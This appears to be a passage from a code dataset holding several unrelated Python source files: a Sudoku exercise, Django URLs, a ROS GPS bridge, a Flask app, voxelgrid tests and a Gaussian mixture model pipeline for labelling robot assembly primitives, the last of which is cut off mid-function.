","sub_path":"dx/jump_diffusion.py","file_name":"jump_diffusion.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"397385390","text":"import random\n\nclass Sudoku():\n def __init__(self, a):\n self.meret = int(len(a)**(1/2))\n self.kezdo_allapot = a\n\n def print(self):\n for i in range(len(self.kezdo_allapot)):\n c = self.kezdo_allapot[i]\n if c == \"0\":\n print(\"_\", end=\" \")\n else:\n print(c, end=\" \")\n\n if i % self.meret == self.meret-1:\n print()\n\n\nfeladvanyok = []\nwith open(\"feladvanyok.txt\", \"r\") as file:\n for sor in file:\n s = Sudoku(sor.strip())\n feladvanyok.append(s)\n\nprint(f\"3. feladat Beolvasva {len(feladvanyok)} feldavány\")\n\nf4_meret=int(input(\"4. feladat Adj meg egy szamot 4-9 ig: \"))\nwhile f4_meret<4 or f4_meret>9:\n f4_meret=int(input(\"4. feladat Adj meg egy szamot 4-9 ig: \"))\n\nf4_feladv=list(filter(lambda f: f.meret==f4_meret, feladvanyok))\nprint(f\"a {f4_meret}x{f4_meret}-ű fela..{len(f4_feladv)}\")\n\n\nrandom_index=random.randint(0,len(f4_feladv)-1)\n\nprint(f\"5f a kiv fel:\")\nrandom_feladvany=f4_feladv[random_index]\nprint(random_feladvany.kezdo_allapot)\n# print(random.choice(f4_feladv).kezdo_allapot)\n\n\n\nr_string=random_feladvany.kezdo_allapot\n\nf6_mo=(len(r_string)-r_string.count(\"0\"))/len(r_string)*100\n\nprint(f\"6f feldv kitoltottsege: {f6_mo:.0f}\")\n\n\nprint(f\"7f\")\nrandom_feladvany.print()\n\nprint(\"8f\")\n\nwith open(f\"sudoku{f4_meret}.txt\", \"w\") as ofile:\n for f in f4_feladv:\n ofile.write(f.kezdo_allapot)\n ofile.write(\"\\n\")\n\n\n# for f in feladvanyok:\n# f.print()\n","sub_path":"python/11_26/sudokuCLI.py","file_name":"sudokuCLI.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"629219727","text":"\r\ndef str_perm(s):\r\n\r\n out = []\r\n\r\n if len(s) <= 1:\r\n return s\r\n else:\r\n for i, let in enumerate(s):\r\n for perm in str_perm(s[:i]+ s[i+1:]):\r\n out += [let + perm]\r\n return out\r\n\r\na = str_perm('abcd')\r\nprint(a)\r\n\r\n\r\n","sub_path":"python_programs/Recursion/string_permutation.py","file_name":"string_permutation.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"84281450","text":"from django.urls import path, re_path\n\nfrom . import views\n\napp_name = 'esm'\nurlpatterns = [\n path('', views.home, name='home'),\n path('login/', views.user_login, name='login'),\n path('logout/', views.user_logout, name='logout'),\n path('signup/', views.signup, name='signup'),\n path('create/', views.create, name='create'),\n path('search/', views.search, name='search'),\n path('search/', views.search_es, name='search_es'),\n path('get_question_search/', views.search_get_question, name='get_question_search'),\n path('get_question//', views.create_get_question, name='get_question'),\n path('create/edit//', views.create_edit_es, name='edit'),\n path('create/edit/save_question//', views.create_save_question, name='save_question'),\n path('create/edit/delete_choice/', views.create_del_choice, name='del_choice'),\n path('account/', views.account, name='account'),\n\n]","sub_path":"ESMarketplace/esm/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"4167606","text":"# Урок 3. Задание 1 (task_1):\n# В диапазоне натуральных чисел от 2 до 99 определить,\n# сколько из них кратны каждому из чисел в диапазоне от 2 до 9.\n\nfor i in range(2, 10):\n temp_count = 0\n for n in range(2, 100):\n if not n % i:\n temp_count += 1\n print(f'Числу {i} кратны {temp_count} чисел.')\n","sub_path":"lesson_03/task_1.py","file_name":"task_1.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"470912178","text":"#!/usr/bin/python\n\nimport time\nimport traceback\nimport socket\nimport json\nimport numpy\n\nimport rospy\n\nfrom std_msgs.msg import Header, Float64\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import Pose, PoseWithCovariance, Twist, TwistWithCovariance, Point, Vector3, Quaternion, TransformStamped, Transform\nfrom tf.msg import tfMessage\n\n\nrospy.init_node('sdgps_solution_ros_bridge')\n\nhost = rospy.get_param('~host', '127.0.0.1')\nport = rospy.get_param('~port')\nchild_frame_id = rospy.get_param('~child_frame_id')\ndecimation = rospy.get_param('~decimation', 1)\n\nodom_pub = rospy.Publisher('odom', Odometry)\nabsodom_pub = rospy.Publisher('absodom', Odometry)\nclock_error_pub = rospy.Publisher('clock_error', Float64)\n\ntf_pub = rospy.Publisher('/tf', tfMessage)\n\ndef go():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((host, port))\n \n first = True\n \n buf = ''\n count = 0\n while True:\n d = s.recv(2**12)\n if not d:\n break\n buf += d\n \n lines = buf.split('\\n')\n buf = lines[-1]\n for line in lines[:-1]:\n if first:\n first = False\n continue\n \n if count % decimation == 0:\n d = json.loads(line)\n \n ecef_cov = numpy.array(d['X_position_relative_position_orientation_ecef_covariance'])\n absodom_pub.publish(Odometry(\n header=Header(\n stamp=rospy.Time.from_sec(d['timestamp']*1e-9),\n frame_id='/ecef',\n ),\n child_frame_id=child_frame_id,\n pose=PoseWithCovariance(\n pose=Pose(\n position=Point(*d['position_ecef']),\n orientation=Quaternion(**d['orientation_ecef']),\n ),\n covariance=numpy.vstack((\n numpy.hstack((ecef_cov[0:3, 0:3], ecef_cov[0:3, 6:9])),\n numpy.hstack((ecef_cov[6:9, 0:3], ecef_cov[6:9, 6:9])),\n )).flatten(),\n ),\n twist=TwistWithCovariance(\n twist=Twist(\n linear=Vector3(*d['velocity_body']),\n angular=Vector3(*d['angular_velocity_body']),\n ),\n covariance=numpy.vstack((\n numpy.hstack((d['X_velocity_body_covariance'], numpy.zeros((3, 3)))),\n numpy.hstack((numpy.zeros((3, 3)), d['X_angular_velocity_body_covariance'])),\n )).flatten(),\n ),\n ))\n odom_pub.publish(Odometry(\n header=Header(\n stamp=rospy.Time.from_sec(d['timestamp']*1e-9),\n frame_id='/enu',\n ),\n child_frame_id=child_frame_id,\n pose=PoseWithCovariance(\n pose=Pose(\n position=Point(*d['relative_position_enu']),\n orientation=Quaternion(**d['orientation_enu']),\n ),\n covariance=numpy.array(d['X_relative_position_orientation_enu_covariance']).flatten(),\n ),\n twist=TwistWithCovariance(\n twist=Twist(\n linear=Vector3(*d['velocity_body']),\n angular=Vector3(*d['angular_velocity_body']),\n ),\n covariance=numpy.vstack((\n numpy.hstack((d['X_velocity_body_covariance'], numpy.zeros((3, 3)))),\n numpy.hstack((numpy.zeros((3, 3)), d['X_angular_velocity_body_covariance'])),\n )).flatten(),\n ),\n ))\n clock_error_pub.publish(Float64(d['X_clock_error']))\n tf_pub.publish(tfMessage(\n transforms=[\n TransformStamped(\n header=Header(\n stamp=rospy.Time.from_sec(d['timestamp']*1e-9),\n frame_id='/enu',\n ),\n child_frame_id=child_frame_id,\n transform=Transform(\n translation=Point(*d['relative_position_enu']),\n rotation=Quaternion(**d['orientation_enu']),\n ),\n ),\n ],\n ))\n \n count += 1\n\nwhile True:\n try:\n go()\n except Exception:\n traceback.print_exc()\n time.sleep(1)\n","sub_path":"gnc/navigator_state_estimation/nodes/solution_ros_bridge.py","file_name":"solution_ros_bridge.py","file_ext":"py","file_size_in_byte":4917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"159848337","text":"from itertools import product\n\nfrom preprocessing.prod.dict_parsers.GraphDictParser import GraphDictParser\nfrom preprocessing.prod.dict_parsers.BaseDictParser import BaseDictParser\n\ndict_parsers = {\n 'base': BaseDictParser,\n 'graph': GraphDictParser\n}\n\n\nclass BaseFilter:\n\n def __init__(self):\n self._beginning_separators = [\n self.construct_named_regex(name='begin',\n pattern=pattern,\n after_group_quantifier=quantifier,\n string_beginning=string_beginning)\n for pattern, string_beginning, quantifier in zip([r\"[\\s\\(]\", r\"[\\?!,\\.\\(\\)\\s]\"], [True, False], ['*', '+'])\n ]\n self._ending_separators = [\n self.construct_named_regex(name='end',\n pattern=r\"[\\?!,\\.\\(\\)\\s]\",\n after_group_quantifier=quantifier,\n string_ending=string_ending)\n for quantifier, string_ending in zip([\"*\", \"+\"], [True, False])\n ]\n self._pattern_dict = {}\n\n @staticmethod\n def construct_named_regex(name: str, pattern: str, after_group_quantifier: str='?',\n string_beginning=False, string_ending=False):\n string_b = '^' if string_beginning else ''\n string_e = '$' if string_ending else ''\n return r\"{}(?P<{}>{}){}{}\".format(string_b, name, pattern, after_group_quantifier, string_e)\n\n @staticmethod\n def _load_patterns_with_file(pattern_file, kind='base'):\n return dict_parsers[kind](pattern_file).get_dict()\n\n @staticmethod\n def _make_single_pattern_w_patterns(patterns):\n return '({})'.format('|'.join(['({})'.format(p) for p in patterns]))\n\n def _populate_pattern(self, pattern):\n \"\"\"embraces pattern with:\n 1. beginning of string & end of string\n 2. space & end of string\n 3. beginning of string & space\n 4. space & end of sentence\n \"\"\"\n return [begin + pattern + end for begin, end in product(self._beginning_separators, self._ending_separators)]","sub_path":"filters/BaseFilter.py","file_name":"BaseFilter.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"281622386","text":"from unittest import TestCase\n\nimport numpy as np\nimport tensorflow as tf\nfrom shape_completion_training.utils import tf_utils\nfrom shape_completion_training.voxelgrid.utils import inflate_voxelgrid\n\n\nclass TestUtils(TestCase):\n def test_geometric_mean(self):\n t = tf.convert_to_tensor([[1, 3, 9], [1, 1, 27.]])\n self.assertEqual(3, tf_utils.reduce_geometric_mean(t))\n\n def test_inflate_voxelgrid_by_one(self):\n vg_np = np.zeros((1, 13, 13, 13, 1), dtype=np.float32)\n vg_np[0, 7, 8, 11, 0] = 1.0\n vg = tf.constant(vg_np)\n inflated_vg = inflate_voxelgrid(vg)\n\n self.assertEqual(np.sum(inflated_vg), 27)\n\n for i in [6, 7, 8]:\n for j in [7, 8, 9]:\n for k in [10, 11, 12]:\n self.assertEqual(inflated_vg[0, i, j, k, 0], 1.0)\n","sub_path":"shape_completion_training/src/shape_completion_training/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"162830262","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 1 02:19:56 2019\n\n@author: ktjgu\n\"\"\"\n\nimport numpy as np\nfrom datetime import datetime\nfrom sklearn.linear_model import LinearRegression\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom iexfinance.stocks import Stock\nfrom iexfinance.stocks import get_historical_data\n\nimport json\n\nwith open('config.json') as json_data_file:\n data = json.load(json_data_file)\n\ndef nlp():\n df2 = pd.read_csv(\"Combined_News_DJIA.csv\")\n print (df2)\n print (df2.sort_values(by=\"Date\", ascending=False))\n\niextoken = data[\"token\"]\n\nstart = datetime(2018, 10, 31)\nend = datetime.now()\n\ndf = get_historical_data(\"TXN\", start=start, end=end, output_format='pandas', token = iextoken)\nprint(df)\n\ndates = np.arange(df.shape[0])\nclose_vals = df['close'].values\nplt.plot(dates, close_vals)\n\nMat = np.zeros((len(dates), 2))\nMat[:, 0] = np.ones(len(dates))\nMat[:, 1] = dates\n\nmodel = LinearRegression().fit(Mat, close_vals)\ncoeffs = model.coef_\nintercept = model.intercept_\n\na = np.linspace(0, len(dates))\nb = model.intercept_ + coeffs[1]*a\nplt.plot(dates, close_vals, color ='b')\nplt.plot(a, b, color='r')","sub_path":"stock_predict_nlp_reg.py","file_name":"stock_predict_nlp_reg.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"504594018","text":"#!/usr/bin/python3\n\"\"\" starts a Flask web application \"\"\"\nfrom os import path, getenv\nfrom flask import Flask\nfrom flask import render_template\nfrom models import storage\nfrom models.state import State\n\napp = Flask(__name__)\napp.jinja_env.trim_blocks = True\napp.jinja_env.lstrip_blocks = True\n\n\n@app.route('/cities_by_states')\ndef cities_by_states():\n \"\"\" display all the states and the cities linked to \"\"\"\n return render_template(\n '8-cities_by_states.html',\n states=storage.all(State).values(),\n type_storage=getenv('HBNB_TYPE_STORAGE')\n )\n\n\n@app.teardown_appcontext\ndef teardown_appcontext(error):\n \"\"\" remove the current SQLAlchemy Session After each request \"\"\"\n storage.close()\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=5000, debug=True)\n","sub_path":"web_flask/8-cities_by_states.py","file_name":"8-cities_by_states.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"310586540","text":"\"\"\"======================================================================================\n gmm_pipe.py\n \n Input: raw sensor data \n Output: labelled sensor data and plots\n \nLast update, Fall 2020\n======================================================================================\"\"\"\nimport imageio\nimport matplotlib.animation as ani\nimport matplotlib.cm as cmx\nimport matplotlib.colors as colors\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport scipy as scipy\nimport enum\nimport sys\nimport bisect\nimport random\nimport collections\nimport os\n\nfrom matplotlib.patches import Ellipse\nfrom PIL import Image\nfrom sklearn import datasets\nfrom sklearn.cluster import KMeans\n\nfrom matplotlib.pyplot import figure, show\nfrom matplotlib.ticker import MaxNLocator\n\nfrom read_data import read_data1\nfrom plot_data import getlabels, plot_file , compute_success_rate\n\n\"\"\" --------------------------------------------------------------------------------------\n Global Constants\n-----------------------------------------------------------------------------------------\"\"\"\nNUM_RUNS = 25 #20 #it will run the gmm for this number-1\nn_primitives = 6 \nnumIterTrain = 20\nnumIterTest = 20\nnumTMatrixUpdates = 1\n\n\"\"\" --------------------------------------------------------------------------------------\n Utility Functions\n----------------------------------------------------------------------------------------\"\"\"\nclass Pr(enum.Enum): \n \"\"\" \n Enum associating each primitive with an integer \n \"\"\"\n none = 0\n fsm = 1\n align = 2\n engage = 3\n screw = 4\n tighten = 5\n\ndef sample_primitive(p):\n \"\"\" \n Selects the primitive with the highest associated probability\n Input:\n p: (6,) numpy array representing the probability of each primitive\n Output:\n integer between 0-5 corresponding to the selected primitive(2,)\n \"\"\"\n return bisect.bisect(np.cumsum(p), random.random())\n\ndef initializeTransitionMatrix2Identity():\n T = np.eye(n_primitives)\n return T\n\ndef initializeTransitionMatrix(final=False):\n \"\"\" \n Input:\n final: flag -> False for Training, True for Testing\n Output:\n array of size (6,6) containing conditional probabilities: T[pr_i|pr_j]\n \"\"\"\n if final:\n T = np.zeros((6,6)) # you can only move between specified primitives (more restrictive)\n else:\n T = np.ones((6,6)) # you can move from any primitive to any other\n # \n T[Pr.none.value, Pr.none.value] = 50\n T[Pr.none.value, Pr.fsm.value] = 1\n T[Pr.none.value, Pr.screw.value] = 1\n # T[Pr.none.value, Pr.fsm.value] = 0.05\n #\n T[Pr.fsm.value, Pr.fsm.value] = 50\n T[Pr.fsm.value, Pr.align.value] = 1\n # T[Pr.fsm.value, Pr.none.value] = 0.05\n #\n # T[Pr.align.value, Pr.fsm.value] = 0.0\n T[Pr.align.value, Pr.align.value] = 50\n # T[Pr.align.value, Pr.screw.value] = 0\n T[Pr.align.value, Pr.engage.value] = 1\n #\n T[Pr.engage.value, Pr.engage.value] = 50\n T[Pr.engage.value, Pr.none.value] = 1\n T[Pr.engage.value, Pr.screw.value] = 1\n # T[Pr.engage.value, Pr.tighten.value] = 0\n # T[Pr.engage.value, Pr.screw.value] = 0.1\n \n # T[Pr.screw.value, Pr.none.value] = 0.5\n T[Pr.screw.value, Pr.screw.value] = 50\n T[Pr.screw.value, Pr.none.value] = 1\n T[Pr.screw.value, Pr.tighten.value] = 1\n # T[Pr.screw.value, Pr.engage.value] = 0\n # T[Pr.screw.value, Pr.align.value] = 0\n\n T[Pr.tighten.value, Pr.tighten.value] = 50\n T[Pr.tighten.value, Pr.none.value] = 1\n # T[Pr.tighten.value, Pr.screw.value] = 0\n\n # scale values so they are all probabilities between 0-1\n T = np.transpose(T.transpose() / np.sum(T,axis=1))\n return T\n\ndef updateTransitionMatrix(currentNumUpdates):\n \"\"\" \n It reads the likelihood_run#.txt files\n\n Input:\n integer reprsenting the number of times the transition matrix has been updated \n Output:\n array of size (6,6) containing conditional probabilities: T[pr_i|pr_j]\n \"\"\"\n \n #if updatedT already existed from another run, just add them up and then divide by the number of runs\n T = np.zeros((6,6))\n Tnew = np.zeros((6,6))\n actualNumRuns = 0 \n\n for i in range(1, NUM_RUNS):\n # number of runs: 1-19 but missing 11 and 16 was shit\n if i == 11 or i == 16:\n continue\n \n actualNumRuns += 1\n\n # Read data\n likelihoodsFile=\"results/run{0:d}_likelihoods_T{1:d}\".format(i,currentNumUpdates)\n likelihoods = np.genfromtxt(likelihoodsFile)\n likelihoods = likelihoods[:,1:] #the first column is just time stamps\n\n # ------- Compute matrix entries\n # Find index of maximum value in each row of likelihoods. This index will match the primitive. \n primitivesSequence = np.argmax(likelihoods, axis=1)\n\n for j in range(primitivesSequence.shape[0] - 1):\n Tnew[primitivesSequence[j], primitivesSequence[j+1]] += 1\n\n # Add T matrices from each run and scale values so they are all probabilities between 0-1\n Tnew = np.transpose(Tnew.transpose() / np.sum(Tnew,axis=1))\n T = T + Tnew\n \n T = T/actualNumRuns\n\n return T\n\ndef initializeConstraints():\n myConstraints=[()]*n_primitives\n myConstraints[Pr.none.value] = (\n (var_idxs['vel_x'], 0.0, -1.0),\n (var_idxs['vel_y'], 0.0, -1.0),\n (var_idxs['vel_z'], 0.0, -1.0),\n (var_idxs['ang_vel_x'], 0.0, -1.0),\n (var_idxs['ang_vel_y'], 0.0, -1.0),\n (var_idxs['ang_vel_z'], 0.0, -1.0),\n (var_idxs['F_x'], 0.0, -1.0),\n (var_idxs['F_y'], 0.0, -1.0),\n (var_idxs['F_z'], 0.0, -1.0),\n (var_idxs['M_x'], 0.0, -1.0),\n (var_idxs['M_y'], 0.0, -1.0),\n (var_idxs['M_z'], 0.0, -1.0),\n )\n myConstraints[Pr.fsm.value] = (\n (var_idxs['M_x'], 0.0, -1.0),\n (var_idxs['M_y'], 0.0, -1.0),\n (var_idxs['M_z'], 0.0, -1.0)\n )\n myConstraints[Pr.align.value] = (\n (var_idxs['vel_x'], 0.0, -1.0),\n (var_idxs['vel_y'], 0.0, -1.0),\n (var_idxs['vel_z'], 0.0, -1.0),\n (var_idxs['ang_vel_z'], 0.0, 0.5),\n )\n myConstraints[Pr.engage.value] = (\n (var_idxs['ori_x'], 0.0, 0.5),\n (var_idxs['ori_y'], 0.0, 0.5),\n (var_idxs['vel_x'], 0.0, -1.0),\n (var_idxs['vel_y'], 0.0, -1.0),\n (var_idxs['vel_z'], 0.0, -1.0),\n (var_idxs['ang_vel_x'], 0.0, -1.0),\n (var_idxs['ang_vel_y'], 0.0, -1.0)\n )\n myConstraints[Pr.screw.value] = (\n (var_idxs['vel_x'], 0.0, -1.0),\n (var_idxs['vel_y'], 0.0, -1.0),\n (var_idxs['vel_z'], 0.0, -1.0),\n (var_idxs['ang_vel_x'], 0.0, -1.0),\n (var_idxs['ang_vel_y'], 0.0, -1.0),\n )\n myConstraints[Pr.tighten.value] = (\n (var_idxs['vel_x'], 0.0, -1.0),\n (var_idxs['vel_y'], 0.0, -1.0),\n (var_idxs['vel_z'], 0.0, -1.0),\n (var_idxs['ang_vel_x'], 0.0, -1.0),\n (var_idxs['ang_vel_y'], 0.0, -1.0),\n (var_idxs['ang_vel_z'], 0.0, 0.5)\n )\n return myConstraints\n\ndef mixWithIdentity(T,alpha):\n return alpha*np.eye(T.shape[0]) + (1 - alpha)*T\n\ndef forward_model_primitive(s_value, T):\n #s is a primitve idx\n #T is the transition matrix\n return sample_primitive(T[s_value])\n\ndef gaussian(X, mu, cov):\n return scipy.stats.multivariate_normal.pdf(X, mean=mu, cov=cov)\n\ndef mix_mean_covar_pi(mean,covar,pi,mean0,covar0,pi0,k):\n np.save(mean, np.load(mean)*(1 - k) + k*np.load(mean0))\n np.save(covar, np.load(covar)*(1 - k) + k*np.load(covar0))\n np.save(pi, np.load(pi)*(1 - k) + k*np.load(pi0))\n\ndef createFileNames(run_number, currentNumTupdates):\n likelihoods_fileName = \"results/run{0:d}_likelihoods_T{1:d}\".format(run_number, currentNumTupdates)\n tlabels_fileName = \"results/run{0:d}_tlabels_T{1:d}\".format(run_number, currentNumTupdates)\n prmlabels_fileName = \"results/run{0:d}_prmlabels_T{1:d}\".format(run_number, currentNumTupdates)\n manual_tlabels = \"../data/pipe/raw_pipe/run{0:d}_tlabels\".format(run_number)\n manual_prmlabels = \"../data/pipe/raw_pipe/run{0:d}_prmlabels\".format(run_number)\n success_fileName = \"results/run{0:d}_successRates\".format(run_number)\n failureFile = \"results/run{0:d}_failures_T{1:d}\".format(run_number, currentNumTupdates)\n return likelihoods_fileName, tlabels_fileName, prmlabels_fileName, manual_tlabels, manual_prmlabels, success_fileName, failureFile\n\ndef createSuccessRateFile(run_number, currentNumTupdates):\n \"\"\"\n Saves the success rates for a give run\n Each row corresponds to an updated transition matrix\n \"\"\"\n successRate_fileName = \"results/run{0:d}_successRates\".format(run_number)\n successRate_file = open(successRate_fileName,\"w\")\n successRate_file.write(\"Tmatrix # \\t SuccessRate\\n\")\n successRate_file.close()\n\ndef saveSuccessRateFile(fileName, successRate, currentNumTupdates):\n successRate_file = open(fileName,\"a\")\n successRate_file.write((\"{:d} \\t\\t\\t {:.4e}\\n\").format(currentNumTupdates, successRate))\n successRate_file.close()\n\n\"\"\" --------------------------------------------------------------------------------------\n Gaussian Mixture Model Class \n-----------------------------------------------------------------------------------------\"\"\"\nclass GMM:\n def __init__(self, X, offset=0.0):\n self.X = X;\n self.epoch = 0;\n self.offset = offset\n \n def initialize_clusters(self, n_clusters, constraints=None, means0=None, cov0=None):\n \"\"\"\n Each cluster is a primitive\n \"\"\"\n self.clusters = []\n self.n_clusters = n_clusters\n idx = np.arange(X.shape[0])\n \n # We could use the KMeans centroids to initialise the GMM\n # Or we can prescribe them\n if means0 is not None:\n if means0.shape[0] != n_clusters or means0.shape[1] != self.X.shape[1]:\n print(\"means not the correct shape\")\n exit()\n mu_k = means0;\n else:\n kmeans = KMeans().fit(X)\n mu_k = kmeans.cluster_centers_\n if constraints is not None:\n self.constraints = True\n else:\n self.constraints = False\n\n self.likelihoods = np.zeros((X.shape[0], n_clusters))\n for i in range(n_clusters):\n if cov0 is not None:\n cov_k = cov0[i]\n else:\n cov_k = np.identity(self.X.shape[1], dtype=np.float64)\n self.clusters.append({\n 'pi_k': 1.0 / n_clusters,\n 'mu_k': mu_k[i],\n 'cov_k': cov_k\n })\n self.likelihoods[:,i] = 1.0/n_clusters\n if self.constraints:\n self.clusters[i]['constraint_k'] = constraints[i]\n return self.clusters\n \n def initialize_clusters_from_savedfiles(self, n_clusters, meanfile,covfile,pifile, constraints=None):\n \"\"\"\n Each cluster is a primitive\n \"\"\"\n self.clusters = []\n self.n_clusters = n_clusters\n mu_k = np.load(meanfile)\n cov_k = np.load(covfile)\n pi_k = np.load(pifile)\n if constraints is not None:\n self.constraints = True\n else:\n self.constraints = False\n self.likelihoods = np.zeros((X.shape[0], n_clusters))\n for i in range(n_clusters):\n self.clusters.append({\n 'pi_k': pi_k[i],\n 'mu_k': mu_k[i],\n 'cov_k': 2.0*cov_k[i]\n })\n if self.constraints:\n self.clusters[i]['constraint_k'] = constraints[i]\n return self.clusters\n\n def inflate_cov(self, factor):#each cluster is a primitive\n for cluster in self.clusters:\n cluster['cov_k'] = factor*cluster['cov_k']\n\n def expectation_step(self,run_number, t=None, saveFigure = None, saveFile=None,T_matrix_APF=None, T_matrix_standard=None):\n \"\"\"\n - Output: computes p(belong to primitive | X) for each X\n It saves these likelihoods to a .txt\n - Uses: a particle filter with a heuristic forward model: T(sn | sn-1) \n \"\"\"\n plotFlag = t is not None and saveFigure is not None\n if plotFlag:\n f,ax = plt.subplots(1)\n if T_matrix_APF is not None:\n self.apf_expectation(T_matrix_APF) #the option that worked best\n elif T_matrix_standard is not None:\n self.forward_backward_expectation(T_matrix_standard)\n else:\n self.standard_expectation()\n if plotFlag:\n for kk, cluster in enumerate(self.clusters):\n ax.plot(t,cluster['gamma_nk'],label=Pr(kk))\n if plotFlag:\n ax.legend()\n ax.set_title(\"Primitive Probabilities Run{0:d}\".format(run_number))\n plt.savefig(saveFigure, dpi=600)\n plt.close()\n # plt.show()\n self.epoch += 1\n # Save likelihoods to txt file:\n if saveFile is not None:\n likelihoods = np.zeros((len(t), self.n_clusters + 1))\n likelihoods[:,0] = t\n for kk, cluster in enumerate(self.clusters):\n likelihoods[:,kk+1] = cluster['gamma_nk']\n np.savetxt(saveFile, likelihoods)\n \n def standard_expectation(self):\n totals = np.zeros(self.X.shape[0], dtype=np.float64)\n for kk, cluster in enumerate(self.clusters):\n gamma_nk = (cluster['pi_k'] * gaussian(self.X, cluster['mu_k'], cluster['cov_k'])).astype(np.float64)\n totals += gamma_nk\n cluster['gamma_nk'] = gamma_nk \n self.totals = totals\n for kk, cluster in enumerate(self.clusters):\n for i in range(len(totals)):\n if totals[i] == 0.0:\n cluster['gamma_nk'][i] = 1.0 / self.n_clusters\n totals[i] = 1e-300\n else:\n cluster['gamma_nk'][i] /= totals[i];\n self.likelihoods[:,kk] = cluster['gamma_nk']\n\n def forward_backward_expectation(self,T_matrix):\n N = self.X.shape[0]\n alpha = np.zeros((self.n_clusters, N))\n beta = np.zeros((self.n_clusters, N))\n p_obs = np.zeros((self.n_clusters, N)) + self.offset\n for k, cluster in enumerate(self.clusters):\n p_obs[k,:] = gaussian(self.X, cluster['mu_k'], cluster['cov_k']).astype(np.float64)\n alpha[k,0] = 1.0/self.n_clusters*p_obs[k,0]#gaussian(self.X[0], cluster['mu_k'], cluster['cov_k']).astype(np.float64)\n beta[k,-1] = 1.0\n alpha[:,0] = alpha[:,0] / np.sum(alpha[:,0])\n for t in range(1,N):\n for k1 in range(self.n_clusters):\n for k0 in range(self.n_clusters):\n alpha[k1, t] += alpha[k0, t-1]*T_matrix[k0, k1]\n alpha[k1,t] *= p_obs[k1,t]#gaussian(self.X[t+1], cluster1['mu_k'], cluster1['cov_k']).astype(np.float64)\n alpha[:,t] = alpha[:,t] / np.sum(alpha[:,t])\n for t in range(N - 2, -1, -1):\n for k0 in range(self.n_clusters):\n for k1 in range(self.n_clusters):\n beta[k0, t] += beta[k1,t+1] * T_matrix[k0, k1] * p_obs[k1, t+1]#gaussian(self.X[t+1], cluster1['mu_k'], cluster1['cov_k']).astype(np.float64)\n beta[:,t] = beta[:,t] / np.sum(beta[:,t])\n self.totals = np.zeros(N)\n for k, cluster in enumerate(self.clusters):\n cluster['gamma_nk'] = alpha[k,:]*beta[k,:]\n self.totals += cluster['gamma_nk']\n for k, cluster in enumerate(self.clusters):\n cluster['gamma_nk'] /= self.totals\n self.offset = max(self.offset*0.5, 0.1)\n \n def pf_expectation(self,T_forward):\n \"\"\" \n Input:\n observations: states Starting from T=1\n pose_0: (4,4) numpy arrays, starting pose\n Output:\n p_primitives (N x n_primtives probability array)\n \"\"\"\n N = self.X.shape[0]\n likelihoods = np.zeros((self.X.shape[0], self.n_clusters))\n self.totals = np.zeros(self.X.shape[0])\n for kk, cluster in enumerate(self.clusters):\n likelihoods[0,kk] = (cluster['pi_k'] * gaussian(self.X[0], cluster['mu_k'], cluster['cov_k'])).astype(np.float64)\n self.totals[0] = np.sum(likelihoods[0,:])\n likelihoods[0,:] /= np.sum(likelihoods[0,:])\n N_particles = 100;\n #store primitives as integers\n s = np.zeros((N_particles,N),dtype=int)\n for i in range(N_particles):\n s[i,0] = sample_primitive(likelihoods[0])\n weights = np.ones(N_particles)\n ps = np.zeros(self.n_clusters)\n for t in range(N-1):\n for kk, cluster in enumerate(self.clusters):\n ps[kk] = (cluster['pi_k'] * gaussian(self.X[t+1], cluster['mu_k'], cluster['cov_k'])).astype(np.float64)\n for i in range(N_particles):\n s[i,t+1]=forward_model_primitive(s[i,t])\n weights[i] = ps[s[i,t+1]]\n #normalize weights\n weights = weights / np.sum(weights)\n #resample\n rand_offset = np.random.rand()\n cumweights = np.cumsum(weights)\n averageweight = cumweights[-1]/N_particles\n n_particles_allocated = 0\n for i, cumweight in enumerate(cumweights):\n n = int(np.floor(cumweight / averageweight - rand_offset)) + 1 #n particles that need to be allocated\n # print(n_particles_allocated, n)\n for particle in range(n_particles_allocated, n):\n s[particle,t+1] = s[i,t+1]\n n_particles_allocated = n\n #count primtivies\n temp = collections.Counter(s[:,t+1])\n for kk in range(self.n_clusters):\n likelihoods[t+1, kk] = temp[kk]/N_particles\n self.totals[t+1] = np.sum(ps)\n for kk, cluster in enumerate(self.clusters):\n cluster['gamma_nk'] = likelihoods[:,kk]\n\n def apf_expectation(self,T_forward):\n \"\"\" \n auxiliary particle filter: https://people.maths.bris.ac.uk/~manpw/apf_chapter.pdf\n Input:\n observations: states Starting from T=1\n pose_0: (4,4) numpy arrays, starting pose\n Output:\n p_primitives (N x n_primtives probability array)\n \"\"\"\n N = self.X.shape[0]\n likelihoods = np.zeros((self.X.shape[0], self.n_clusters))\n self.totals = np.zeros(self.X.shape[0])\n for kk, cluster in enumerate(self.clusters):\n likelihoods[0,kk] = (cluster['pi_k'] * gaussian(self.X[0], cluster['mu_k'], 